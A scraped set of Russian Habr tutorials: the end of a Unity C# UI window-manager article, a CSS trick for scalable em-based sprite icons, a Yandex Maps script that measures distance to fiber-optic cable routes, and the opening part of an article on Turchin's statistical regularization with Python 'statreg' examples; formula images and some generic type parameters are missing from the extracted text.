void Awake()
{
UIManager.Instance.Windows.Add(this.gameObject);
}
public void Open()
{
IsOpen = true;
if (OnOpen != null)
OnOpen(this);
SelfOpen();
}
protected abstract void SelfOpen();
public void Close()
{
IsOpen = false;
if (CurrentWindow != null)
CurrentWindow.Close();
SelfClose();
}
protected abstract void SelfClose();
protected void ChangeCurrentWindow(Window sender)
{
if (CurrentWindow != null)
CurrentWindow.Close();
CurrentWindow = sender;
}
}
```
UIManager
=========
Далее перейдём к классу UIManager, он является sigleton-классом для того чтобы все окна могли к нему обращаться при необходимости. Как видно в нём есть список окон Windows, именно в нем хранятся ссылки на все окна на сцене. InitUI() нужен чтобы что-либо инициализировать, например, если вы хотите создавать окна из префабов, то здесь вы можете сделать их инстансы.
В методе Start() вы можете открыть окна которые должны быть открыты с самого начала или наоборот закрыть ненужные. Метод Get() позволяет получить ссылку на конкретное окно.
```
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using System;
public class UIManager : MonoBehaviour
{
public static UIManager Instance = null;
public List Windows;
void Awake()
{
if (Instance == null)
Instance = this;
else if (Instance != this)
Destroy(gameObject);
InitUI();
}
private void InitUI()
{
//to do
}
void Start()
{
foreach(var window in Windows)
{
var windowComponent = window.GetComponent();
if (windowComponent is StartWindow)
windowComponent.Open();
else
windowComponent.Close();
}
}
public Window Get () where T : Window
{
foreach(var window in Windows)
{
var windowComponent = window.GetComponent();
if (windowComponent is T)
return windowComponent;
}
return null;
}
}
```
SettingsWindow
==============
В качестве примера приведу свою реализацию окна настроек:
```
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class SettingsWindow : Window
{
private VideoSettingsWindow videoSettingsWindow;
private LanguageSettingsWindow languageSettingsWindow;
private AudioSettingsWindow audioSettingsWindow;
private ControlSettingsWindow controlSettingsWindow;
public void Start()
{
videoSettingsWindow = UIManager.Instance.GetWindow();
languageSettingsWindow = UIManager.Instance.GetWindow();
audioSettingsWindow = UIManager.Instance.GetWindow();
controlSettingsWindow = UIManager.Instance.GetWindow();
videoSettingsWindow.OnOpen += ChangeCurrentWindow;
languageSettingsWindow.OnOpen += ChangeCurrentWindow;
audioSettingsWindow.OnOpen += ChangeCurrentWindow;
controlSettingsWindow.OnOpen += ChangeCurrentWindow;
}
protected override void SelfOpen()
{
this.gameObject.SetActive(true);
}
protected override void SelfClose()
{
this.gameObject.SetActive(false);
}
public void Apply()
{
}
public void VideoSettings()
{
videoSettingsWindow.Open();
}
public void LanguageSettings()
{
languageSettingsWindow.Open();
}
public void AudioSettings()
{
audioSettingsWindow.Open();
}
public void ControlSettings()
{
controlSettingsWindow.Open();
}
}
```
Из окна настроек я могу открыть 4 других окна, чтобы открыто было только одно окно, я подписываю метод ChangeCurrentWindow() окна настроек на события OnOpen дочерних окон, таким образом открытые окна закрываются, при открытии других. Реализации SelfOpen() и SelfClose() просто активируют или деактивируют окно.
Таким образом получается легко расширяемая система UI, нет необходимости вручную добавлять ссылки на окна в инспекторе или где-либо еще, чтобы добавить новое окно, нужно всего лишь создать соответствующий класс и унаследовать его от Window. У такой системы есть пара минусов, это то, что чем больше окон, тем больше классов необходимо будет создать и то, что поиск ссылки на окно происходит путем перебора массива ссылок, но на мой взгляд эти недостатки окупаются преимуществами.
[Ссылка на репозиторий](https://github.com/tonisimakov99/Unity-UI) | https://habr.com/ru/post/472770/ | null | ru | null |
# Долой абсолютные единицы в иконках-спрайтах
Спрайты — классный способ сократить количество запросов к серверу. Можно упаковать кучу иконок в один спрайт и прописать в CSS смещения для каждой иконки. Однако, очень неудобно, что нужно попиксельно всё это считать. Пиксели — значит никакой динамики. Если использовать пиксели, то кусочек спрайта будет отображаться фиксированным размером — независимо от того, выводится он внутри параграфа, или внутри заголовка. Это неправильно, мне кажется, и неудобно. Но, похоже, я нашёл интересный способ выводить иконки динамического размера.
В первую очередь, нужно перестать думать о спрайте, как о вещи с шириной и высотой, выраженной в пикселях. Спрайт на картинке в заголовке имеет размеры 500 на 100 пикселей, но его нужно воспринимать как спрайт, который имеет размер 10х2. В самом деле, какая разница, сколько у него пикселей? Главное то, что он содержит 10 иконок в ширину и две в высоту.
Во время вёрстки при описании спрайта просто нужно указать ширину и высоту фонового изображения в относительных единицах — я буду использовать EM. Так как спрайт имеет размер 10 на 2, его можно описать так:
```
.icon {
background-image: url(http://i.imgur.com/DV0Bl7B.png);
display: inline-block;
/* Ширина — 10, высота — 2. */
background-size: 10em 2em;
/* Размеры иконки 1х1 — снова относительные единицы, а не абсолютные */
width: 1em;
height: 1em;
}
/* Конкретная иконка. Смещение прописывается опять же в относительных единицах */
.icon-ok-black {
background-position: -7em -1em;
}
```
За счёт того, что все размеры указываются в относительных единицах, иконка будет автоматически подстраиваться под размер шрифта — в заголовке она будет соответствовать размеру шрифта заголовка, в абзаце — размеру шрифта абзаца, и так далее. Можно сделать один спрайт, например, с размером каждой иконки в 50 пикселей, и эти 50 пикселей будут всегда масштабироваться до размера 1em в текущем контексте.
Однако, имейте ввиду, что при масштабировании растровых изображений графика может размываться. Возможно, этот способ лучше всего подходит для векторной графики — SVG, например. Благодарю [BaNru](http://habrahabr.ru/users/banru/) за ценное замечание.
Пример на JSFiddle: [jsfiddle.net/vdfqdfen](http://jsfiddle.net/vdfqdfen/) | https://habr.com/ru/post/245331/ | null | ru | null |
# Нахождения минимального расстояния до кривой с помощью API Яндекс.Карт
Здравствуйте уважаемые читатели.
Если вы когда-нибудь сталкивались с задачей описанной в топике, то наверное удивлены, тем что в посте будет что-либо кроме ссылки на описание метода getClosestPoint(), потому сразу скажу, что мое решение конечно основывается именно на ней. Однако, мне хочется поделиться не столько алгоритмической красотой (ее за меня реализовывала команда Яндекса создавая API), сколько [готовым решением](http://www.infotis.ru/maps.html) поставленной перед мной задачей.
Наша компания занимается в том числе представлением услуг IP-телефонии и интернета, а так же километрами собственного оптоволокна. для нас весьма важен вопрос на сколько далеко от кабеля находится офис предполагаемого клиента.
Готовое решение, от создания карты с маршрутами оптики, до реализации встроенной в формы определения кратчайшего расстояния ищите под катом.
Не буду обманывать ни вас, ни себя пытаясь скрыть, что вся работа состояла по сути в компиляции готовых решений и примеров, я еще в начале хочу поблагодарить всех тех, чьи наработки помогли мне реализовать проект целиком.
Задача сводится к следующему: пользователь вводит адрес
* На сайте и адрес с помощью GET запроса передается на страничку с картой
* В специальной форме на самой карте
Либо выбирает дом сам тыкая мышкой в нужную точку.
После чего на карте ставиться метка с выбранным адресом и расстоянием до ближайшего оптического кабеля. Для удобства отображения к кабелю рисуется перпендикуляр(спорное решение, но результат визуально мне понравился).
Привожу пример, что бы не быть голословным <http://www.infotis.ru/maps.html>.
Работа свелась к нескольким этапам
1. Перенести кабели с физической карты на Яндекс.Карту
2. Нанести кабели на карту в виде кривых (полилайнов)
3. Создать кастомные элементы управления
4. Написать функцию вычисляющую растояние
5. Получить искомый адрес и по нему нужные координаты
#### Этап 1
На данном этапе надо было нанести несколько десятков километров кабеля на карту, причем руками коллеги не имеющего прямого отношения к IT специальности. Тут выручил редактор [ymik](https://geektimes.ru/users/ymik/) за что ему большое человеческое спасибо. Именно с нахождения этого [поста](http://habrahabr.ru/blogs/javascript/83344/) и был сделан окончательный выбор в пользу Яндекс.Карт (вместо Google Maps).
Через некоторое время работы коллеги я получил текстовый файлик следующего вида (пример для одной кривой из 2х точек, что бы не захламлять место)
```
{
"name": "слой1",
"center": {
"lng": 37.62110402807594,
"lat": 55.74879798509053,
"zoom": 12
},
"styles": [{
"name": "ymikEditor#1315408925757#0",
"style": {
"lineStyle": {
"strokeColor": "0000ff80",
"strokeWidth": "5"
}
}
}],
"objects": [{
"style": "ymikEditor#1315408925757#0",
"name": "название1",
"description": "описание1",
"type": "Polyline",
"points": [{
"lng": 37.62110402807594,
"lat": 55.773576281653035
}, {
"lng": 37.6235072873533,
"lat": 55.74957254620929
}]
}]
}
```
#### Этап 2
По образу и подобию работы [ymik](https://geektimes.ru/users/ymik/) нанесем эти художества на карту.
Договоримся что наш объект лежит в переменной val, map —
Далее немного кода (он простой, но и само решение простое, так что пусть будет с комментариями)
Создадим карту и простейшие элементы управления. Как видим из кода, в процессе подгружается JQuery чем мы в будущем воспользуемся (вместо $ употребляя YMaps.jQuery).
```
map = new YMaps.Map(YMaps.jQuery("#YMapsID")[0]);
map.setCenter(new YMaps.GeoPoint(37.643347, 55.745478), 13);
map.addControl(new YMaps.Zoom());
map.addControl(new YMaps.ToolBar());
map.addControl(new YMaps.ScaleLine());
map.addControl(new YMaps.TypeControl());
map.setType(YMaps.MapType.SATELLITE);
// Область Москвы для геокодера
var moscowBounds = new YMaps.GeoBounds(
new YMaps.GeoPoint(37.389705, 55.577759),
new YMaps.GeoPoint(37.844264, 55.91086)
);
```
Функция отрисовки линий
```
polylines=[];
function draw_lines() {
k = 0; //служебная переменная
for (var j = 0; j < val['objects'].length; j++) //побежим по объекту рассматривая что там внутри лежит
{
if (val['objects'][j]['type'] == 'Polyline') //если это кривая то занесем ее точки в массив Points
{
Points = [];
for (var i = 0; i < val['objects'][j]['points'].length; i++)
{
Points.push(new YMaps.GeoPoint(val['objects'][j]['points'][i]['lng'], val['objects'][j]['points'][i]['lat']));
}
//Далее создадим кривую с указанными стилями и параметрами
pl = new YMaps.Polyline(Points, {
style: {
lineStyle: {
strokeColor: val['styles'][k]['style']['lineStyle']['strokeColor'],
strokeWidth: val['styles'][k]['style']['lineStyle']['strokeWidth']
}
},
hasHint: 1
});
pl.name = val['objects'][j]['name'];
pl.description = val['objects'][j]['description'];
polylines.push(pl); //занесем кривую в массив polylines
map.addOverlay(pl); //нанесем кривую на карту
k++;
}
if (val['objects'][j]['type'] == 'Placemark') //тут наносим метки в начале кабеля
{
var placemark = new YMaps.Placemark(new YMaps.GeoPoint(val['objects'][j]['points']['lng'], val['objects'][j]['points']['lat']), {
style: val['objects'][j]['style']
});
placemark.name = val['objects'][j]['name'];
placemark.description = val['objects'][j]['description'];
map.addOverlay(placemark);
}
}
}
```
#### Этап 3
На этом этапе мы сделаем основную работу.
Для начала здорово было бы заиметь форму прямо на карте где пользователь мог бы забивать нужный ему адрес и смотреть какое расстояние до кабеля предстоит пройти рабочим.
Вот пример собственного элемента управления от яндекса: <http://api.yandex.ru/maps/jsapi/examples/mapcontrolscustomizing.html>
По этому образцу и будем действовать.
Привожу конструктор этого элемента управления
```
function nearest_search(object_address) {
// Обработчик добавления элемента на карту
this.onAddToMap = function (map, position) {
this.container = YMaps.jQuery(" *Ваш адрес* ");
//для схожести с прочими кнопками добавил нашей форме все необходимое (дополнительные элементы и классы) что бы выглядеть как надо
this.map = map;
this.position = position || new YMaps.ControlPosition(YMaps.ControlPosition.TOP_LEFT, new YMaps.Size(0, 40)); //расположили кнопку слева, немного сместив ее вниз.
// CSS-свойства, определяющие внешний вид элемента
this.container.css({
position: "absolute",
zIndex: YMaps.ZIndex.CONTROL,
width: "280px",
});
this.position.apply(this.container);
this.container.appendTo(this.map.getContainer());
}
// Обработчик удаления элемента с карты
this.onRemoveFromMap = function () {
// Ничего мы с карты не удаляем, так что тут пусто.
};
}
```
Триггер по которому вместо submit формы мы будем запускать функцию поиска и расчета расстояния.
```
YMaps.jQuery('#find_nearest_form').submit(function () {
showAddress(YMaps.jQuery("#search_nearest_input").val());
return false;
});
```
Теперь сделаем вариант элемента «Информация» с оригинальных maps.yandex.ru
Как его делать отлично рассказывается тут <http://api.yandex.ru/maps/articles/tasks/service.xml#how-to-use-create-information-tool>
Геокодирование в данном месте нам не нужно, потому сократим немного
```
function InformationControl()
{
var geoResult, clickPlace, listener, map;
// Вызывается при добавлении элемента управления на карту
this.onAddToMap = function (parentMap) {
map = parentMap;
map.addCursor(YMaps.Cursor.HELP);
// Создание обработчика кликов по карте
listener = YMaps.Events.observe(map, map.Events.Click, function (map, mEvent) {
// Координаты клика мышью
var clickPoint = mEvent.getGeoPoint();
// Удаляем предыдущие результаты (если они были добавлены на карту)
if (geoResult) {
map.removeOverlay(geoResult);
result = null;
}
//если уже была метка - убираем ее
if (clickPlace) {
map.removeOverlay(clickPlace);
clickPlace = null;
}
// Отмечаем точку по которой щелкнул пользователь
clickPlace = new YMaps.Placemark(clickPoint);
clickPlace.description = clickPoint.toString();
map.addOverlay(clickPlace);
//посчитаем растояние и выведем все (функция описана ниже)
geotrack(clickPoint, clickPlace);
}, this);
}
// Вызывается при удалении элемента управления с карты
this.onRemoveFromMap = function ()
{
map.removeCursor(YMaps.Cursor.HELP);
// Удаляем метки с карты, если они были добавлены
if (geoResult) {map.removeOverlay(geoResult); }
//и линию
if (punchline) {map.removeOverlay(punchline); }
if (clickPlace) {map.removeOverlay(clickPlace); }
// Удаляем обработчик кликов по карте
listener.cleanup();
map = geoResult = clickPlace = listener = null;
}
}
```
#### Этап 4
Ура, все кнопки у нас есть — приступаем к написанию основной функции определения расстояния.
```
function geotrack(clickPoint, clickPlace) {
//если уже есть перпендикуляр - удаляем его
if (punchline) {
map.removeOverlay(punchline);
}
nearest = 100000000000; //установим изначальное значение побольше. Немного больше чем до Солнца.
nearest_point = new YMaps.GeoPoint(0, 0); //и просто инициализируем точку
for (var i = 0; i < polylines.length; i++) //просто пройдемся по всем кривым и выберем ту точку на какой-то из них, которая ближе всех к цели
{
if (nearest > polylines[i].getClosestPoint(clickPoint)['point'].distance(clickPoint)) {
nearest = polylines[i].getClosestPoint(clickPoint)['point'].distance(clickPoint);
nearest_point = polylines[i].getClosestPoint(clickPoint)['point'];
}
}
clickPlace.name = "Растояние до ближайшего оптоволокна: " + YMaps.humanDistance(nearest);
clickPlace.description = "";
punchline = new YMaps.Polyline([clickPoint, nearest_point], {
style: {
lineStyle: {
strokeColor: "ffffffff",
strokeWidth: 2
}
},
hashint: 1
});
punchline.name = "Растояние от выбранного объекта до оптики составляет: " + YMaps.humanDistance(nearest);
map.addOverlay(punchline);
return clickPlace.name;
}
```
#### Этап 5
Займемся поиском координат по адресу.
Снова пример от яндекса <http://api.yandex.ru/maps/jsapi/examples/geocoding.html>
```
function showAddress(value) {
// Удаление предыдущего результата поиска
map.removeOverlay(geoResult);
// Запуск процесса геокодирования. strictBounds : true - что бы искал только в Москве (moscowBounds)
var geocoder = new YMaps.Geocoder(value, {
results: 1,
boundedBy: moscowBounds,
strictBounds : true
});
// Создание обработчика для успешного завершения геокодирования
YMaps.Events.observe(geocoder, geocoder.Events.Load, function () {
// Если объект был найден, то добавляем его на карту
// и центрируем карту по области обзора найденного объекта
if (this.length()) {
geoResult = this.get(0); //ага, мы нашли координаты - берем первые
map.addOverlay(geoResult);
name = geotrack(geoResult['_point'], geoResult); //считаем растояние
geoResult['text'] = '**' + geoResult['text'] + '.
' + name + '**';
map.panTo(geoResult['_point'], {
flying: 1
}); //и красиво летим к метке
}
else {
alert("Ничего не найдено"); //TODO:заменить алерт на что-то более приятное
}
});
// Процесс геокодирования завершен неудачно
YMaps.Events.observe(geocoder, geocoder.Events.Fault, function (geocoder, error) {
alert("Произошла ошибка: " + error); //TODO:заменить алерт на что-то более приятное
})
}
``` | https://habr.com/ru/post/127999/ | null | ru | null |
# Статистическая регуляризация некорректных обратных задач им. Турчина (часть 1)
Привет, Хабр! Сегодня мы хотим рассказать, чем занимается [лаборатория методов ядерно-физических экспериментов](https://research.jetbrains.org/groups/npm), входящая в [JetBrains Research](https://research.jetbrains.org/).
Где JetBrains и где ядерная физика, спросите вы. Мы сошлись на почве любви к Kotlin, хотя в данном посте о нем речи не пойдет. Наша группа ориентируется на развитие методик анализа данных, моделирования и написание софта для ученых, и поэтому ориентирована на сотрудничество и обмен знаниями с IT-компаниями.
В этой статье мы хотим поговорить о популяризуемом нами методе *статистической регуляризации*, предложенном В.Ф.Турчиным в 70-х годах XX века, и его реализации в виде кода на Python и Julia.
Изложение будет достаточно подробным, поэтому те, кому все очевидно с обратными задачами, могут сразу переходить к примерам, а теорию прочитать в [этой статье](https://www.epj-conferences.org/articles/epjconf/abs/2018/12/epjconf_ayss2018_07005/epjconf_ayss2018_07005.html).
* [Возникновение проблемы: зачем вообще кого-то регуляризировать?](#first)
* [Теоретическое описание статистической регуляризации](#second)
* [Практические примеры на:](#third)
+ [Python](#third_part1)
+ [Julia](#third_part2)
* [Заключение](#forth)
Возникновение проблемы: зачем вообще кого-то регуляризировать?
--------------------------------------------------------------
Если достаточно абстрагироваться, любое измерение в эксперименте можно описать следующим образом: есть некий прибор, который фиксирует спектр или сигнал какого-либо процесса и по результатам измерения показывает какие-то цифры. Наша задача как исследователей, глядя на эти цифры и зная устройство прибора, понять какой был измеряемый спектр или сигнал. То есть на лицо то, что называется *обратной задачей*. Если представить это математически, получим вот такое уравнение (которое, кстати, называется [уравнением Фредгольма первого рода](https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%82%D0%B5%D0%B3%D1%80%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D1%83%D1%80%D0%B0%D0%B2%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5_%D0%A4%D1%80%D0%B5%D0%B4%D0%B3%D0%BE%D0%BB%D1%8C%D0%BC%D0%B0)): 
Фактически это уравнение описывает следующее: наш измерительный прибор представлен здесь своей аппаратной функцией , которая действует на исследуемый спектр или иной входной сигнал , в результате чего исследователь наблюдает выходной сигнал . Цель исследователя — восстановить сигнал  по известным  и . Также можно сформулировать это выражение в матричной форме, заменив функции векторами и матрицами:
Казалось бы, восстановление сигнала не является сложной задачей, поскольку и уравнение Фредгольма, и система линейных уравнений (даже переопределенная) имеют точное решение. Так давайте попробуем. Пусть измеряемый сигнал описывается как сумма двух гауссов:
В качестве прибора мы возьмем простейший интегратор — матрицу, переводящую наш сигнал в кумулятивную сумму с помощью функции Хевисайда:
Вид измеряемого сигнала и нашего прибора, а также результат измерения приведены на графике.
Важно, что всякое реальное измерение имеет погрешность, поэтому мы немного испортим наш результат, добавив нормальный шум, дающий пятипроцентную ошибку измерения.
Восстанавливать сигнал мы будем методом наименьших квадратов:
И в результате получим:
Собственно, на этом можно было бы закончить статью, в очередной раз убедившись в беспомощности идеалистических методов математики перед лицом суровой и безжалостной физической реальности, и пойти раскуривать паяльники.
Но давайте сначала разберемся, из-за чего сия неудача постигла нас? Очевидно дело в ошибках измерений, но на что же они влияют? Дело в том, что еще Жак Адамар (тот самый, который добавил черточку в формулу Коши — Адамара) разделил все задачи на [корректно поставленные](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D1%80%D1%80%D0%B5%D0%BA%D1%82%D0%BD%D0%BE_%D0%BF%D0%BE%D1%81%D1%82%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F_%D0%B7%D0%B0%D0%B4%D0%B0%D1%87%D0%B0) и некорректно.
Вспомнив классиков: «Бессмыслица — искать решение, если оно и так есть. Речь идет о том, как поступать с задачей, которая решения не имеет. Это глубоко принципиальный вопрос…» — мы не будем говорить о корректных задачах и сразу возьмемся за некорректные. Благо мы уже встретили такую: написанное выше уравнение Фредгольма является некорректной обратной задачей — *даже при бесконечно малых флуктуациях во входных данных (а уж наши ошибки измерения далеко не бесконечно малые) решение уравнения, полученное точным аналитическим образом, может сколь угодно отличаться от истинного*.
Доказательство этого утверждения вы можете прочитать в первой главе классического труда академика А.Н. Тихонова «Методы решения некорректных задач». В этой книге есть советы о том, что делать с некорректными задачи, однако изложенная там методика имеет ряд недостатков, которые устранены в методе Турчина. Но для начала опишем общие принципы работы с некорректными задачами: что же делать, если вам попалась такая задача?
Поскольку сама задача не может нам ничего предложить, придется пойти на небольшое преступление: дополнить задачу данными так, чтобы она стала корректной, иначе говоря, ввести какую-то \*дополнительную априорную информацию о задаче\* (этот процесс называется регуляризацией задачи). В отличие от классического метода Тихонова, основанного на введении параметризованных регуляризирующих функционалов, метод Турчина заходит с другой стороны, используя байесовские методы.
Теоретическое описание статистической регуляризации
---------------------------------------------------
#### Стратегия
Сформулируем нашу задачу в терминах математической статистики: по известной реализации  (которую мы измеряем в эксперименте) нам нужно оценить значение параметра . Функционал  вычисляющий  на основе  мы будем называть *стратегией*. Для того чтобы определить, какие стратегии более оптимальны, введем *квадратичную функцию потерь*. Реальная функция потерь может быть любой, почему же мы выбираем именно квадратичную? Потому что любая функция потерь вблизи своего минимума может быть аппроксимирована квадратичной функцией:
![$L(\varphi,\hat{S}[f]) = ||\hat{\varphi}-\hat{S}[f])||_{L_2},$](https://habrastorage.org/getpro/habr/formulas/c06/b83/c36/c06b83c361047c16bbb3ea93dfddd737.svg)
где  — наилучшее решение. Тогда потери для выбранной нами стратегии задаются *функцией риска*:
![$R_{\hat{S}[f]}(\varphi) \equiv E[L(\varphi,\hat{S}[f])] = \int L(\varphi,\hat{S}[f])P(f|\varphi)df.$](https://habrastorage.org/getpro/habr/formulas/bb5/f2b/595/bb5f2b595557e2e54de0d9ac2abb64db.svg)
Здесь  определяет плотность вероятности нашего ансамбля, по которому производится усреднение потерь. Этот ансамбль образован гипотетическим многократным повторением измерений  при заданном . Таким образом,  — это та самая известная нам плотность вероятности , полученная в эксперименте.
Согласно байессовскому подходу, предлагается рассмотреть  как *случайную переменную* с *априорной плотностью вероятности* , выражающую *достоверность* различных решений нашей задачи.  определяется на основе информации, существующей до проведения эксперимента. Тогда выбор оптимальной стратегии основывается на минимизации *апостериорного риска*:
![$r_{\hat{S}}(\varphi) \equiv E_{\varphi}E_{f}[L(\varphi,\hat{S}[f])|\varphi]$](https://habrastorage.org/getpro/habr/formulas/0c2/4c3/b21/0c24c3b2128acf4fc019feb11d3c0fa7.svg)
В этом случае оптимальная стратегия хорошо известна:
![$\hat{S}[f] = E[\varphi|f] = \int \varphi P(\varphi|f)d\varphi,$](https://habrastorage.org/getpro/habr/formulas/7da/62c/7e3/7da62c7e3ca8f1043f5ad6a0dd6771dc.svg)
где *апостериорная плотность*  определяется по теореме Байеса:
Такой подход позволит определить дисперсию (корреляционную функцию) полученного решения:
][\varphi(x_2) - \hat{S}[f](x_2)]$](https://habrastorage.org/getpro/habr/formulas/1e5/7aa/369/1e57aa369887f170ac087cd0608eac3b.svg)
Итак, мы получили оптимальное решение нашей задачи, введя априорную плотность . Можем ли мы сказать что-либо о том мире функций , который задается априорной плотностью?
Если ответ на этот вопрос отрицательный, то мы должны будем принять все возможные  равновероятными и вернуться к нерегуляризованному решению. Таким образом, мы должны ответить на этот вопрос положительно.
Именно в этом и заключается метод статистической регуляризации — регуляризация решения за счет введения дополнительной априорной информации о . Если исследователь уже обладает какой-либо априорной информацией (априорной плотностью ), он может просто вычислить интеграл и получить ответ.
В случае если такой информации нет, в следующем параграфе описывается, какой минимальной информацией может обладать исследователь и как ее использовать для получения регуляризованного решения.
#### Априорная информация
Как показали британские ученые, во всем остальном мире любят дифференцировать. Причем, если математик будет задаваться вопросами о правомерности этой операции, то физик оптимистично верит, что законы природы описываются «хорошими» функциями, то есть гладкими.
Иначе говоря, он назначает более гладким  более высокую априорную плотность вероятности. Так давайте попробуем ввести априорную вероятность, основанную на гладкости. Для этого вспомним, что введение априорной информации — это некоторое насилие над миром, принуждающее законы природы выглядеть удобным для нас образом.
Это насилие следует свести к минимуму, и, вводя априорную плотность вероятности, необходимо, чтобы *информация Шеннона* относительно , содержащаяся в , была минимальной. Формализуя вышесказанное, выведем вид априорной плотности, основанной на гладкости функции. Для этого мы будем искать условный экстремум информации:
![$I[P(\vec{\varphi})] = \int \ln{P(\vec{\varphi})} P(\vec{\varphi}) d\vec{\varphi} \to min $](https://habrastorage.org/getpro/habr/formulas/f85/32a/c26/f8532ac266b6015f4ebbf21849dde989.svg)
При следующих условиях:
1. Условие на гладкость . Пусть  — некоторая матрица, характеризующая гладкость функции. Тогда потребуем, чтобы достигалось определенное значение функционала гладкости:
Внимательный читатель должен задать вопрос об определении значения параметра
. Ответ на него будет дан далее по тексту.
2. Нормированность вероятности на единицу: 
При этих условиях доставлять минимум функционалу будет следующая функция:
Параметр  связан с , но поскольку у нас нет информации о конкретных значениях функционала гладкости, выяснять, как именно он связан, бессмысленно. Что же тогда делать с , спросите вы. Здесь перед вами раскрываются три пути:
1. Подбирать значение параметра  вручную и тем самым фактически перейти к регуляризации Тихонова
2. Усреднить (проинтегрировать) по всем возможным , предполагая все возможные  равновероятными
3. Выбрать наиболее вероятное  по его апостериорной плотности вероятности . Этот подход верен, поскольку дает хорошую аппроксимацию интеграла, если в экспериментальных данных содержится достаточно информации об .
Первый случай нам мало интересен. Во втором случае мы должны посчитать вот такой вот страшненький интеграл:
Для третьего случая мы можем получить значение интеграла аналитически для гауссовых шумов в эксперименте (это будет рассмотрено через раздел).
Также следует отметить, что мы нигде пока не использовали, что  — это оператор гладкости. На самом деле мы можем использовать здесь любой другой оператор (или их линейную комбинацию), просто гладкость функции — это наиболее очевидный вид априорной информации, который мы можем использовать.
#### Дискретизация
Мы говорили о функциях, но любой реальный прибор не может измерить не то что континуальное, но даже счетное множество точек. Мы всегда проводим измерение в конечном наборе точек, поэтому вынуждены проводить процедуры дискретизации и перехода от интегрального уравнения к матричному. В методе статистической регуляризации мы поступаем следующим образом: будем раскладывать  по некоторой системе функций :
Таким образом, коэффициенты этого разложения образуют некоторый вектор , который является вектором в функциональном пространстве.
В качестве функционального пространства можно взять гильбертово пространство, а можно, например, пространство полиномов. Причем выбор базиса в этих пространствах ограничен только вашей фантазией (мы пробовали работать с тригонометрическим рядом Фурье, полижандрами и кубическими сплайнами).
Тогда элементы матрицы  вычисляются как:
где  — точки, в которых производились измерения. Элементы матрицы  будем вычислять по формуле:
где  и  — границы интервала, на котором определена функция .
Для перерасчета ошибок следует использовать формулу дисперсии линейной комбинации случайных величин:
![$D[\varphi(x)] = D[\sum \limits_n \varphi_n T_n(x)] = \sum\limits_{i,j} \varphi_i\varphi_j cov(T_i(x), T_j(x)).$](https://habrastorage.org/getpro/habr/formulas/e06/48f/b69/e0648fb69a2f1cd751f20360b1625832.svg)
При этом нужно учитывать, что в некоторых случаях представление функции при помощи вектора конечной размерности приводит к частичной потере или изменению информации. Фактически мы можем считать алгебраизацию разновидностью регуляризации, однако слабой и недостаточной для превращения некорректной задачи в корректную. Но, так или иначе, мы теперь перешли от поиска  к поиску вектора  и в следующем разделе найдем-таки его.
#### Случай гауссовых шумов
Случай, когда ошибки в эксперименте распределены по Гауссу, замечателен
тем, что можно получить аналитическое решение нашей задачи. Поскольку априорная информация и ошибки имеют гауссов вид, то и их произведение тоже имеет гауссов вид, и тогда тот страшненький интеграл, который мы писали выше, легко берется. Решение и его ошибка будут иметь следующий вид:
где  — ковариационная матрица многомерного распределения Гаусса,  — наиболее вероятное значение параметра , которое определяется из условия максимума апостериорной плотности вероятности: 
#### А если у меня не гауссовы ошибки?
Этому будет посвящена вторая часть статьи, а пока обозначим суть проблемы.
Основная проблема в том, что этот страшный интеграл, во-первых многомерный, а во-вторых в бесконечных пределах. Причем он сильно многомерный, вектор  спокойно может иметь размерность , а сеточные методы вычисления интегралов имеют сложность типа , поэтому малоприменимы в данном случае. При взятии многомерных интегралов хорошо работает интегрирование методами Монте-Карло.
Причем поскольку у нас пределы бесконечные, мы должны использовать метод существенной выборки (important sampling), однако тогда нам потребуется подбирать функцию для сэмплирования. Что бы сделать все более автоматизированным следует использовать [Markov Chain Monte Carlo (MCMC)](https://en.wikipedia.org/wiki/Markov_chain_Monte_Carlo), который может самостоятельно адаптировать семплирующую функцию под вычисляемый интеграл. Про применение MCMC мы поговорим в следующей статье.
Практическая часть
------------------
Первая реализация метода статистической регуляризации была написана еще в 70-х на Алголе и успешно использовалась для расчетов в атмосферной физике. Несмотря на то, что у нас остались рукописные исходники алгоритма, мы решили добавить немного модернизма и сделать реализацию на Python, а затем и на Julia.
#### Python
##### Установка
Устанавливаем через `pip`:
```
pip install statreg
```
или качаем исходный [код](https://github.com/mipt-npm/statreg-py).
##### Примеры
В качестве примера рассмотрим, как использовать модуль `stareg` для восстановление данных для матричного и интегрального уравнения.
Импортируем нужные научные пакеты.
```
import numpy as np
import matplotlib.pyplot as plt
from scipy.stats import norm
from scipy.integrate import quad
%matplotlib inline
```
Определяем истинный сигнал, который будем восстанавливать.
```
a = 0
b = 5
# Восстанавливаемый сигнал
phi = lambda x: 4*norm.pdf(x-2, scale=0.4) + 2*norm.pdf(x-4, scale = 0.5)
x = np.linspace(a, b,100)
plt.plot(x, phi(x));
```
Определим ядро и операцию свертки функций (Примечание: `np.convolution` определенно для массивов):
```
kernel = lambda x,y : np.heaviside(x-y, 1) # Ядро уравнения
convolution = np.vectorize(lambda y: quad(lambda x: kernel(x,y)*phi(x), a,b)[0])
```
Генерируем измеренные данные и зашумляем их с помощью нормального распределения:
```
y = np.linspace(a, b, 50)
ftrue = convolution(y)
sig = 0.05*ftrue +0.01 # Ошибка измерения
f = norm.rvs(loc = ftrue, scale=sig)
plt.errorbar(y, f, yerr=sig);
```
##### Решаем интегральное уравнение
Импортируем решатель и вспомогательный класс для дискретизации:
```
from statreg.model import GaussErrorUnfolder
from statreg.basis import CubicSplines
```
Как функциональный базис для дискретизации мы используем кубические сплайны, причем в качестве дополнительного условия мы укажем, что функция принимает на края нулевые значения.
```
basis = CubicSplines(y, boundary='dirichlet')
model = GaussErrorUnfolder(basis, basis.omega(2))
```
Решаем уравнение:
```
phi_reconstruct = model.solve(kernel, f, sig, y)
```
Строим график решения:
```
plt.plot(x,phi(x))
phir = phi_reconstruct(x)
phiEr = phi_reconstruct.error(x)
plt.plot(x, phir, 'g')
plt.fill_between(x, phir-phiEr, phir + phiEr, color='g', alpha=0.3);
```
##### Решаем матричное уравнение
Импортируем решатель и вспомогательный класс для дискретизации:
```
from statreg.model import GaussErrorMatrixUnfolder
from statreg.basis import CubicSplines
```
